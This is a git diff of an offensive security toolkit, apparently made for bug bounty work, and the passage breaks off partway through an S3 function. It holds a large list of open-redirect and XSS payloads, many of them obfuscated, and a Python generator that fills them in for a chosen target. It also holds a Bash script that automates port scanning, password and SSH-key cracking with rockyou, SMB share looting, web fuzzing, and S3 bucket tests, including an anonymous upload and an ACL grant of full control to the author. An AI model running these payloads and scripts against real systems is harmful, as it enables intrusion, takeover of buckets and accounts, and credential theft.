+///DEST/%2f%2e%2e +///TARGET@DEST/%2f%2e%2e +////DEST/%2f%2e%2e +////TARGET@DEST/%2f%2e%2e +https:///DEST/%2f%2e%2e +https:///TARGET@DEST/%2f%2e%2e +/https://DEST/%2f%2e%2e +/https://TARGET@DEST/%2f%2e%2e +/https:///DEST/%2f%2e%2e +/https:///TARGET@DEST/%2f%2e%2e +/%09/DEST +/%09/TARGET@DEST +//%09/DEST +//%09/TARGET@DEST +///%09/DEST +///%09/TARGET@DEST +////%09/DEST +////%09/TARGET@DEST +https://%09/DEST +https://%09/TARGET@DEST +/%5cDEST +/%5cTARGET@DEST +//%5cDEST +//%5cTARGET@DEST +///%5cDEST +///%5cTARGET@DEST +////%5cDEST +////%5cTARGET@DEST +https://%5cDEST +https://%5cTARGET@DEST +/https://%5cDEST +/https://%5cTARGET@DEST +https://DEST +https://TARGET@DEST +javascript:alert(1); +javascript:alert(1) +//javascript:alert(1); +/javascript:alert(1); +//javascript:alert(1) +/javascript:alert(1) +javascript:%0aalert`1` +/%5cjavascript:alert(1); +/%5cjavascript:alert(1) +//%5cjavascript:alert(1); +//%5cjavascript:alert(1) +/%09/javascript:alert(1); +/%09/javascript:alert(1) +java%0d%0ascript%0d%0a:alert(0) +//DEST +http:DEST +https:DEST +//localdomain%E3%80%82pw +\/\/DEST/ +/\/DEST/ +/%2f%5c%2f%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77/ +//\/DEST/ +//localdomain%00.pw +https://TARGET/https://DEST/ +";alert(0);// +javascript://TARGET?%a0alert%281%29 +http://0xd8.0x3a.0xd6.0xce +http://TARGET@0xd8.0x3a.0xd6.0xce +http://3H6k7lIAiqjfNeN@0xd8.0x3a.0xd6.0xce +http://XY>.7d8T\205pZM@0xd8.0x3a.0xd6.0xce +http://0xd83ad6ce +http://TARGET@0xd83ad6ce +http://3H6k7lIAiqjfNeN@0xd83ad6ce +http://XY>.7d8T\205pZM@0xd83ad6ce +http://3627734734 +http://TARGET@3627734734 +http://3H6k7lIAiqjfNeN@3627734734 +http://XY>.7d8T\205pZM@3627734734 +http://472.314.470.462 +http://TARGET@472.314.470.462 +http://3H6k7lIAiqjfNeN@472.314.470.462 +http://XY>.7d8T\205pZM@472.314.470.462 +http://0330.072.0326.0316 +http://TARGET@0330.072.0326.0316 +http://3H6k7lIAiqjfNeN@0330.072.0326.0316 +http://XY>.7d8T\205pZM@0330.072.0326.0316 +http://00330.00072.0000326.00000316 +http://TARGET@00330.00072.0000326.00000316 +http://3H6k7lIAiqjfNeN@00330.00072.0000326.00000316 +http://XY>.7d8T\205pZM@00330.00072.0000326.00000316 +http://[::216.58.214.206] +http://TARGET@[::216.58.214.206] +http://3H6k7lIAiqjfNeN@[::216.58.214.206] +http://XY>.7d8T\205pZM@[::216.58.214.206] +http://[::ffff:216.58.214.206] +http://TARGET@[::ffff:216.58.214.206] +http://3H6k7lIAiqjfNeN@[::ffff:216.58.214.206] +http://XY>.7d8T\205pZM@[::ffff:216.58.214.206] +http://0xd8.072.54990 +http://TARGET@0xd8.072.54990 +http://3H6k7lIAiqjfNeN@0xd8.072.54990 +http://XY>.7d8T\205pZM@0xd8.072.54990 +http://0xd8.3856078 +http://TARGET@0xd8.3856078 +http://3H6k7lIAiqjfNeN@0xd8.3856078 +http://XY>.7d8T\205pZM@0xd8.3856078 +http://00330.3856078 +http://TARGET@00330.3856078 +http://3H6k7lIAiqjfNeN@00330.3856078 +http://XY>.7d8T\205pZM@00330.3856078 +http://00330.0x3a.54990 +http://TARGET@00330.0x3a.54990 +http://3H6k7lIAiqjfNeN@00330.0x3a.54990 +http://XY>.7d8T\205pZM@00330.0x3a.54990 +http:0xd8.0x3a.0xd6.0xce +http:TARGET@0xd8.0x3a.0xd6.0xce +http:3H6k7lIAiqjfNeN@0xd8.0x3a.0xd6.0xce +http:XY>.7d8T\205pZM@0xd8.0x3a.0xd6.0xce +http:0xd83ad6ce +http:TARGET@0xd83ad6ce +http:3H6k7lIAiqjfNeN@0xd83ad6ce +http:XY>.7d8T\205pZM@0xd83ad6ce +http:3627734734 +http:TARGET@3627734734 +http:3H6k7lIAiqjfNeN@3627734734 +http:XY>.7d8T\205pZM@3627734734 +http:472.314.470.462 +http:TARGET@472.314.470.462 +http:3H6k7lIAiqjfNeN@472.314.470.462 +http:XY>.7d8T\205pZM@472.314.470.462 +http:0330.072.0326.0316 +http:TARGET@0330.072.0326.0316 +http:3H6k7lIAiqjfNeN@0330.072.0326.0316 +http:XY>.7d8T\205pZM@0330.072.0326.0316 +http:00330.00072.0000326.00000316 +http:TARGET@00330.00072.0000326.00000316 +http:3H6k7lIAiqjfNeN@00330.00072.0000326.00000316 +http:XY>.7d8T\205pZM@00330.00072.0000326.00000316 +http:[::216.58.214.206] +http:TARGET@[::216.58.214.206] +http:3H6k7lIAiqjfNeN@[::216.58.214.206] +http:XY>.7d8T\205pZM@[::216.58.214.206] +http:[::ffff:216.58.214.206] +http:TARGET@[::ffff:216.58.214.206] +http:3H6k7lIAiqjfNeN@[::ffff:216.58.214.206] +http:XY>.7d8T\205pZM@[::ffff:216.58.214.206] +http:0xd8.072.54990 +http:TARGET@0xd8.072.54990 +http:3H6k7lIAiqjfNeN@0xd8.072.54990 +http:XY>.7d8T\205pZM@0xd8.072.54990 +http:0xd8.3856078 +http:TARGET@0xd8.3856078 +http:3H6k7lIAiqjfNeN@0xd8.3856078 +http:XY>.7d8T\205pZM@0xd8.3856078 +http:00330.3856078 +http:TARGET@00330.3856078 +http:3H6k7lIAiqjfNeN@00330.3856078 +http:XY>.7d8T\205pZM@00330.3856078 +http:00330.0x3a.54990 +http:TARGET@00330.0x3a.54990 +http:3H6k7lIAiqjfNeN@00330.0x3a.54990 +http:XY>.7d8T\205pZM@00330.0x3a.54990 +〱DEST +〵DEST +ゝDEST +ーDEST +ーDEST +/〱DEST +/〵DEST +/ゝDEST +/ーDEST +/ーDEST +%68%74%74%70%73%3a%2f%2f%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77 +https://%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77 +<>javascript:alert(1); +<>//DEST +//DEST\@TARGET +https://:@DEST\@TARGET +\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1) +\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1) +ja\nva\tscript\r:alert(1) +\j\av\a\s\cr\i\pt\:\a\l\ert\(1\) +\152\141\166\141\163\143\162\151\160\164\072alert(1) +http://DEST:80#@TARGET/ +http://DEST:80?@TARGET/ +http://3H6k7lIAiqjfNeN@TARGET+@DEST/ +http://3H6k7lIAiqjfNeN@TARGET⁺@DEST/ +http://XY>.7d8T\205pZM@TARGET+@DEST/ +http://XY>.7d8T\205pZM@TARGET⁺@DEST/ +http://3H6k7lIAiqjfNeN@TARGET@DEST/ +http://XY>.7d8T\205pZM@TARGET@DEST/ +http://TARGET+&@DEST#+@TARGET/ +http://TARGET⁺&@DEST#⁺@TARGET/ +http://DEST\tTARGET/ +//DEST:80#@TARGET/ +//DEST:80?@TARGET/ +//3H6k7lIAiqjfNeN@TARGET+@DEST/ +//3H6k7lIAiqjfNeN@TARGET⁺@DEST/ +//XY>.7d8T\205pZM@TARGET+@DEST/ +//XY>.7d8T\205pZM@TARGET⁺@DEST/ +//3H6k7lIAiqjfNeN@TARGET@DEST/ +//XY>.7d8T\205pZM@TARGET@DEST/ +//TARGET+&@DEST#+@TARGET/ +//TARGET⁺&@DEST#⁺@TARGET/ +//DEST\tTARGET/ +//;@DEST +//﹔@DEST +http://;@DEST +http://﹔@DEST +@DEST +javascript://https://TARGET/?z=%0Aalert(1) +data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4= +http://DEST%2f%2f.TARGET/ +http://DEST%5c%5c.TARGET/ +http://DEST%3F.TARGET/ +http://DEST%23.TARGET/ +http://TARGET:80%40DEST/ +http://TARGET%2eDEST/ +/x:1/:///%01javascript:alert(document.cookie)/ +/https:/%5cDEST/ +https:/%5cDEST/ +javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie) +javascripT://TARGET/%250d%250aalert(document.cookie) +/http://DEST +/%2f%2fDEST +//%2f%2fDEST +/DEST/%2f%2e%2e +/http:/DEST +http:/DEST +/.DEST +http://.DEST +.DEST +///\;@DEST +///\﹔@DEST +///DEST +/////DEST/ +/////DEST +ja vascript:alert(1) +ja vascript:alert(1) +ja vascript:alert(1) +javascript:alert() +javascript:alert() +javascript:alert() +javascript:alert(1) +javascript:alert() +javascript:alert() +javascript:alert`` +javascript:alert%60%60 +javascript:x='%27-alert(1)-%27'; +javascript:%61%6c%65%72%74%28%29 +javascript:a\u006Cert``" +javascript:\u0061\u006C\u0065\u0072\u0074`` +java%0ascript:alert(1) +%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(1) +java%09script:alert(1) +java%0dscript:alert(1) +javascript://%0aalert(1) +javascript://%0aalert`1` +Javas%26%2399;ript:alert(1) +data:TARGET;text/html;charset=UTF-8, +jaVAscript://TARGET//%0d%0aalert(1);// +http://www.DEST\.TARGET +%19Jav%09asc%09ript:https%20://TARGET/%250Aconfirm%25281%2529 +%01https://DEST +TARGET;@DEST +TARGET﹔@DEST +https://TARGET;@DEST +https://TARGET﹔@DEST +http:%0a%0dDEST +https://%0a%0dDEST +DEST/TARGET +https://DEST/TARGET +//DEST/TARGET +javascript:alert(document.domain)//:// +/#//DEST +#//DEST +https%3A/DEST +https%3A/;@DEST +https%3A/﹔@DEST +javascript:%250Aalert(1) +javascript:alert(1)//https://TARGET +°/DEST +////DEST +//DEST? +//.@.@DEST +javascript:new%20Function`al\ert\`1\``; +%09Jav%09ascript:alert(1) +https://DEST\ᵗTARGET +//DEST\ᵗTARGET +https://TARGET。₨/ +//TARGET。₨/ +https://DEST\udfff@TARGET/ +//DEST\udfff@TARGET/ +https://DEST�@TARGET/ +//DEST�@TARGET/ +https://TARGET%40%E2%80%AE@wp.niamodlacol +https://TARGET%40%E2%80%AE@DEST +https://TARGET@%E2%80%AE@wp.niamodlacol +https://TARGET@%E2%80%AE@DEST +https://TARGET@/%E2%80%AE@wp.niamodlacol +https://TARGET@/%E2%80%AE@DEST +https://TARGET@'#DEST +javascript:alert(1)//DEST/ +javascript:alert(1)//TARGET/ +Javascript://%E2%80%A9alert(618) +https://TARGET%09.DEST +TARGET%09.DEST +https://TARGET%252eDEST +TARGET%252eDEST \ No newline at end of file diff --git a/redir_gen/redirgen.py b/redir_gen/redirgen.py new file mode 100755 index 0000000..7f4d643 --- /dev/null +++ b/redir_gen/redirgen.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python3 +# Forked from https://gist.github.com/zPrototype/b211ae91e2b082420c350c28b6674170 + +import re +import argparse + + +def generate(payload, target, dest, param=None) -> str: + ''' + generates and returns single payload + ''' + payload = payload.rstrip() + payload = re.sub("TARGET", target, payload) + payload = re.sub("DEST", dest, payload) + if param: + payload = re.sub("PARAM", param, payload) + return payload + + +def save_output(output: str) -> None: + ''' + Saves output to file defined as out param + ''' + with open(output, "w") as handle: + [handle.write(f"{x.rstrip()}\n") for x in payloads] + + +parser = argparse.ArgumentParser() +parser.add_argument("--target", "-t", action="store", + help="Enter the target address", required=True) +parser.add_argument("--dest", "-d", action="store", help="Enter the address where you want to redirect to", + required=True) +parser.add_argument("--output", "-o", action="store", + help="Enter output file name") +parser.add_argument("--param", "-p", action="store", + help="Vulnerable parameter") +args = parser.parse_args() + +payloads = [] + +# Remove protocol from url +junk = re.compile(r"https?://") +target = junk.sub("", args.target) +dest = junk.sub("", args.dest) +with open("payloads.txt", "r") as handle: + templates = handle.readlines() + +for payload in templates: + payload = generate(payload, target, dest, args.param) + print(payload) + payloads.append(payload) + +if args.output: + save_output(args.output) diff --git a/s0mbra.sh b/s0mbra.sh new file mode 100755 index 0000000..17d618a --- /dev/null +++ b/s0mbra.sh @@ -0,0 +1,842 @@ +#!/bin/bash +# shellcheck disable=SC1087,SC2181,SC2162,SC2013 + +HACKING_HOME="/Users/bl4de/hacking" + +GRAY='\033[38;5;8m' +RED='\033[1;31m' +GREEN='\033[1;32m' +LIGHTGREEN='\033[32m' +YELLOW='\033[1;33m' +BLUE='\033[1;34m' +BLUE_BG='\033[48;5;4m' +MAGENTA='\033[1;35m' +CYAN='\033[36m' + +CLR='\033[0m' + +# runs $2 port(s) against IP; then -sV -sC -A against every open port found +full_nmap_scan() { + if [[ -z "$2" ]]; then + echo -e "$BLUE[s0mbra] Running full nmap scan against all ports on $1 ...$CLR" + ports=$(nmap -p- --min-rate=1000 -T4 $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "$BLUE[s0mbra] running version detection + nse scripts against $ports...$CLR" + nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml + else + echo -e "$BLUE[s0mbra] Running full nmap scan against $2 port(s) on $1 ...$CLR" + echo -e " ...search open ports...$CLR" + ports=$(nmap --top-ports "$2" --min-rate=1000 -T4 $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "$BLUE[s0mbra] running version detection + nse scripts against $ports...$CLR" + nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml + fi + + echo -e "$BLUE\n[s0mbra] Done! $CLR" + osascript -e 'display notification "Full nmap finished, choom!" with title "s0mbra says:"' +} + +# runs --top-ports $2 against IP +quick_nmap_scan() { + if [[ -z "$2" ]]; then + echo -e "$BLUE[s0mbra] Running nmap scan against all ports on $1 ...$CYAN" + nmap -p- --min-rate=1000 -T4 "$1" + else + echo -e "$BLUE[s0mbra] Running nmap scan against top $2 ports on $1 ...$CYAN" + nmap --top-ports "$2" --min-rate=1000 -T4 "$1" + fi + + echo -e "$BLUE\n[s0mbra] Done! $CLR" + osascript -e 'display notification "Quick nmap finished, choom!" with title "s0mbra says:"' +} + +# runs Python 3 built-in HTTP server on [PORT] +http_server() { + STACK=$2 + echo -e "$BLUE[s0mbra] Running $STACK HTTP Server in current directory on port $1$CLR" + echo -e "$GRAY\navailable network interfaces:$YELLOW" + ifconfig | grep -e 'inet\s' |cut -d' ' -f 2 + echo -e "$GRAY\navailable files/folders in SERVER ROOT: $CLR" + ls -l + echo -e "\n\n" + if [[ -z "$1" ]]; then + PORT=7777; + else + PORT=$1 + fi + + case "$STACK" in + python) + python3 -m http.server $PORT + ;; + php) + php -S 127.0.0.1:$PORT + ;; + esac + echo -e "\n$BLUE[s0mbra] Done." +} + +# runs john with rockyou.txt against hash type [FORMAT] and file [HASHES] +rockyou_john() { + echo -e "$BLUE[s0mbra] Running john with rockyou dictionary against $1 of type $2$CLR" + echo > "$HACKING_HOME"/tools/jtr/run/john.pot + if [[ -n $2 ]]; then + "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt --format="$2" "$1" + elif [[ -z $2 ]]; then + "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" + fi + cat "$HACKING_HOME"/tools/jtr/run/john.pot + echo -e "\n$BLUE[s0mbra] Done." + osascript -e 'display notification "our choom John has left the house..." with title "s0mbra says:"' +} + +# show JohnTheRipper's pot file +john_pot() { + echo -e "$BLUE[s0mbra] Joghn The Ripper pot file:$GRAY" + cat "$HACKING_HOME"/tools/jtr/run/john.pot + echo -e "\n$BLUE[s0mbra] Done." +} + +# ZIP password cracking with rockyou.txt +rockyou_zip() { + echo -e "$BLUE[s0mbra] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." + "$HACKING_HOME"/tools/jtr/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt + echo -e "$BLUE[s0mbra] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" + hashcat -m 13600 ./hashes.txt ~/hacking/dictionaries/rockyou.txt + echo -e "\n$BLUE[s0mbra] Done." +} + +# converts id_rsa to JohnTheRipper format for cracking SSH key +ssh_to_john() { + echo -e "$BLUE[s0mbra] Converting SSH id_rsa key to JohnTheRipper format to crack it$CLR" + python "$HACKING_HOME"/tools/jtr/run/sshng2john.py "$1" > "$1".hash + echo -e "$BLUE[s0mbra] We have a hash.\n" + echo -e "$BLUE[s0mbra] Let's now crack it!" + rockyou_john "$1".hash + echo -e "\n$BLUE[s0mbra] Done." +} + +# runs unminify on $1 JavaScript file +unmin() { + FILENAME=$1 + echo -e "$BLUE[s0mbra] Unminify $FILENAME...$CLR" + unminify $FILENAME > unmimified.$FILENAME + echo -e "\n$BLUE[s0mbra] Done." +} + +# static code analysis of npm module installed in ~/node_modules +# with nodestructor and semgrep +snyktest() { + echo -e "$BLUE[s0mbra] Auditing Node application using:\n -> npm audit\n -> snyk\n$CLR" + echo -e "$BLUE[s0mbra] Running npm audit$CLR" + npm audit . + echo -e "$BLUE[s0mbra] Running snyk test$CLR" + snyk test + echo -e "$BLUE[s0mbra] Done." +} + +# enumerates SMB shares on [IP] - port 445 has to be open +smb_enum() { + if [[ -z $2 ]]; then + username='NULL' + elif [[ -n $2 ]]; then + username="$2" + fi + + if [[ -z $3 ]]; then + password='' + elif [[ -n $3 ]]; then + password="$3" + fi + + echo -e "$BLUE[s0mbra] Enumerating SMB shares with nmap on $1...$CLR" + nmap -Pn -p445 --script=smb-enum-shares.nse,smb-enum-users.nse "$1" + echo -e "$YELLOW\n[s0mbra] smbmap -u $username -p $password against\t\t -> $1...$CLR" + smbmap -H "$1" -u "$username" -p "$password" 2>&1 | tee __disks + for d in $(grep 'READ' __disks | cut -d' ' -f 1); do + echo -e "$YELLOW\n[s0mbra] content of $d directory saved to $1__shares_listings $CLR" + smbmap -H "$IP" -u "$username" -p "$password" -R "$d" >> "$1"__shares_listings + done + rm -f __disks + echo -e "\n$BLUE[s0mbra] Done." +} + +# download file from SMB share +smb_get_file() { + if [[ -z $3 ]]; then + username='NULL' + elif [[ -n $3 ]]; then + username="$3" + fi + + if [[ -z $4 ]]; then + password='' + elif [[ -n $4 ]]; then + password="$4" + fi + + echo -e "$BLUE[s0mbra] Downloading file $2 from $1...$CLR" + echo -e "$GREEN" + smbmap -H "$1" -u "$3" -p "$4" --download "$2" + echo -e "$CLR" + echo -e "\n$BLUE[s0mbra] Done." +} + +# mounts SMB share at ./mnt/shares +smb_mount() { + echo -e "$BLUE[s0mbra] Mounting SMB $2 share from $1 at ./mnt/shares...$CLR" + mkdir -p mnt/shares + echo "//$3@$1/$2" + mount_smbfs "//$3@$1/$2" ./mnt/shares + echo -e "$YELLOW\n[s0mbra] Locally available shares:\n.$CLR" + ls -l ./mnt/shares + echo -e "\n$BLUE[s0mbra] Done." +} + +# umounts from ./mnt/shares and delete it +smb_umount() { + echo -e "$BLUE[s0mbra] Unmounting SMB share(s) from ./mnt/shares...$CLR" + umount ./mnt/shares + rm -rf ./mnt + echo -e "\n$BLUE[s0mbra] Done." +} + +# if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available +# we can enumerate nfs shares available: +nfs_enum() { + echo -e "$BLUE[s0mbra] Enumerating nfs shares (TCP 2049) on $1...$CLR" + nmap -Pn -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount "$1" + echo -e "\n$BLUE[s0mbra] Done." +} + +# quick scope, but for single domain - no need to create scope file +enum() { + TMPDIR=$(pwd)/$1 + if [[ ! -d $TMPDIR ]]; then + mkdir -p $TMPDIR + fi + START_TIME=$(date) + DOMAIN=$1 + echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" + + amass passive enum + echo -e "\n$GREEN--> amass (takes some time, so sit tight, Choom...)$CLR\n" + amass enum -passive -d $DOMAIN -o "$TMPDIR/amass.tmp" + cut -d' ' -f 1 "$TMPDIR/amass.tmp" | grep -e '[a-z]' | sort -u | sed "s,\x1B\[[0-9;]*[a-zA-Z],,g" | grep $DOMAIN > "$TMPDIR/enum_amass.log" + + # subfinder + echo -e "\n$GREEN--> subfinder$CLR\n" + subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/enum_subfinder.log + + # prepare list of uniqe subdomains + cat $TMPDIR/enum* > $TMPDIR/step1 + sed 's/
/#/g' $TMPDIR/step1 | tr '#' '\n' > $TMPDIR/step2 + sort -u -k 1 $TMPDIR/step2 > $TMPDIR/subdomains_final.log + rm -f $TMPDIR/step* + + # cleanup + echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" + rm -f $TMPDIR/enum_amass.log + rm -f $TMPDIR/enum_subfinder.log + rm -f $TMPDIR/amass.tmp + + # httpx + echo -e "\n$GREEN--> httpx$CLR\n" + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,301,302,304,403,500 -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log + + END_TIME=$(date) + echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" + echo -e "finished at: $RED $END_TIME $GREEN\n" + echo -e "$GRAY amass+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY httpx found \t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" + + echo -e "\n$BLUE[s0mbra] Done.$CLR" + osascript -e 'display notification "Hey choom, enum finished!" with title "s0mbra says:"' +} + +# does recon on URL: nmap, ffuf, other smaller tools, ...? +# pass ONLY hostname (without protocol prefix) +recon() { + HOSTNAME=$1 + + # set proto: + if [[ -z $2 ]]; then + # default options: + NMAP="1" + NIKTO="1" + FFUF="1" + SUBDOMANIZER="1" + SELECTED_OPTIONS="nmap, nikto, ffuf, subdomanizer" + else + # set options: + NMAP=$(echo $2|grep 'nmap'|wc -l) + NIKTO=$(echo $2|grep 'nikto'|wc -l) + VHOSTS=$(echo $2|grep 'vhosts'|wc -l) + FFUF=$(echo $2|grep 'ffuf'|wc -l) + SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) + SELECTED_OPTIONS=$2 + fi + + # set proto: + if [[ -z $3 ]]; then + PROTO='https' + else + PROTO=$3 + fi + + # setup output directory + rm -rf $(pwd)/s0mbra + mkdir -vp $(pwd)/s0mbra + TMPDIR=$(pwd)/s0mbra + + START_TIME=$(date) + echo -e "$BLUE[s0mbra] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME \n\t using selected options: $SELECTED_OPTIONS...$CLR" + + # onaws + echo -e "\n$GREEN--> onaws? $CLR\n" + onaws $HOSTNAME + + # nmap + if [[ $NMAP -eq "1" ]]; then + echo -e "\n$GREEN--> nmap (top 100 ports + version discovery + nse scripts)$CLR\n" + nmap --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.log $HOSTNAME + fi + + # nikto + if [[ $NIKTO -eq "1" ]]; then + echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" + nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" + fi + + if [[ $VHOSTS -eq "1" ]]; then + # vhosts enumeration + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://FUZZ.$HOSTNAME -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/ffuf_vhosts_fullnames_$HOSTNAME.log + fi + + # ffuf + if [[ $FFUF -eq "1" ]]; then + ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/ffuf_lowercase_$HOSTNAME.log + fi + + # subdomanizer + if [[ $SUBDOMANIZER -eq "1" ]]; then + echo -e "\n$GREEN--> SubDomanizer$CLR\n" + subdomanizer --url $PROTO://$HOSTNAME/ + fi + + END_TIME=$(date) + echo -e "\n$GREEN[s0mbra] Finished!" + echo -e "\nstarted at: $RED $START_TIME $GREEN" + echo -e "finished at: $RED $END_TIME $GREEN\n" + + echo -e "\n$BLUE[s0mbra] Done.$CLR" +} + +fu() { + # use starter.txt as default dictionary + if [[ -z $2 ]]; then + SELECTED_DICT=starter + else + SELECTED_DICT=$2 + fi + + # set response status code(s) to match on: + if [[ -z $4 ]]; then + HTTP_RESP_CODES=200,206,301,302,401,500 + else + HTTP_RESP_CODES=$4 + fi + + echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $SELECTED_DICT.txt dictionary matching $HTTP_RESP_CODES...$CLR" + + if [[ -n $3 ]]; then + if [[ $3 == "/" ]]; then + # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes + # dir path has to end with / to be identified + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + else + if [[ $3 == "-" ]]; then + # if $3 equals - (dash) that means we should ignore it at all + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + else + # if $3 arg is not /, treat it as file extension to enumerate files: + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + fi + fi + else + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" + osascript -e 'display notification "ffuf finished, choom!" with title "s0mbra says:"' +} + +api_fuzz() { + clear + echo -e "$BLUE[s0mbra] Fuzzing $1 API with httpie using endpoints file $2...$CLR" + + for endpoint in $(cat $2); do + https --print=HBh --all --follow POST https://$1/$endpoint payload=data + https --print=HBh --all --follow PUT https://$1/$endpoint payload=data + done + + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +kiterunner() { + HOSTNAME=$1 + echo -e "$BLUE[s0mbra] Running kiterunner using apis file...$CLR\n" + + kr scan apis -w $DICT_HOME/routes-large.kite -x 20 -j 100 --fail-status-codes 400,401,404,403,501,502,426,411 + echo -e "\n$BLUE[s0mbra] Done.$CLR" +} + +# Python Static Source Code analysis +pysast() { + DIR_NAME=$1 + echo -e "$BLUE[s0mbra] Running pyflakes against $DIR_NAME $CLR\n" + python3 -m pyflakes $DIR_NAME + + echo -e "$BLUE[s0mbra] Running mypy against $DIR_NAME $CLR\n" + python3 -m mypy $DIR_NAME + + echo -e "\n$BLUE[s0mbra] Running bandit against $DIR_NAME $CLR\n" + python3 -m bandit -r $DIR_NAME + + echo -e "\n$BLUE[s0mbra] Running vulture against $DIR_NAME $CLR\n" + python3 -m vulture $DIR_NAME + + # cleanup + rm -rf .mypy_cache + echo -e "\n$BLUE[s0mbra] Done.$CLR" +} + +# checking AWS S3 bucket +s3() { + echo -e "$BLUE[s0mbra] Checking AWS S3 $1 bucket$CLR" + aws s3 ls "s3://$1" --no-sign-request 2> /dev/null + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ content of the bucket can be listed!$CLR" + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- could not list the content... :/$CLR" + fi + + touch test.txt + echo 'TEST' >> test.txt + aws s3 cp test.txt "s3://$1/test.txt" --no-sign-request 2> /dev/null + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ WOW!!! We can copy files to the bucket!!! PWNed!!!$CLR" + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- nope, cp does not work... :/$CLR" + fi + rm -f test.txt + + declare -a s3api=( + "get-bucket-acl" + "put-bucket-acl" + "get-bucket-website" + "get-bucket-cors" + "get-bucket-lifecycle-configuration" + "get-bucket-policy" + "list-bucket-metrics-configurations" + "list-multipart-uploads" + "list-object-versions" + "list-objects" + ) + for cmd in "${s3api[@]}"; do + echo -e "---------------------------------------------------------------------------------" + aws s3api "$cmd" --bucket "$1" --no-sign-request 2> /dev/null + if [[ "$?" == 0 ]]; then + echo -e "\n\n$GREEN+ $cmd works!$CLR\n" + aws s3api "$cmd" --bucket "$1" --no-sign-request 2> /dev/null + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- nope, $cmd does not seem to be working... :/$CLR" + fi + done + + aws s3api put-bucket-acl --bucket "$1" --grant-full-control emailaddress=bl4de@wearehackerone.com 2> /dev/null + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ We can grant full control!!! PWNed!!!$CLR" + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- nope, can't grant control with --grant-full-control ... :/$CLR" + fi + echo -e "\n$BLUE[s0mbra] Done." +} + +# downloads file from S3 directory +s3get() { + clear + echo -e "$BLUE[s0mbra] Getting $2 from $1 bucket...$CLR" + + aws s3api get-object-acl --bucket "$1" --key "$2" 2> /dev/null + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ We can read ACL 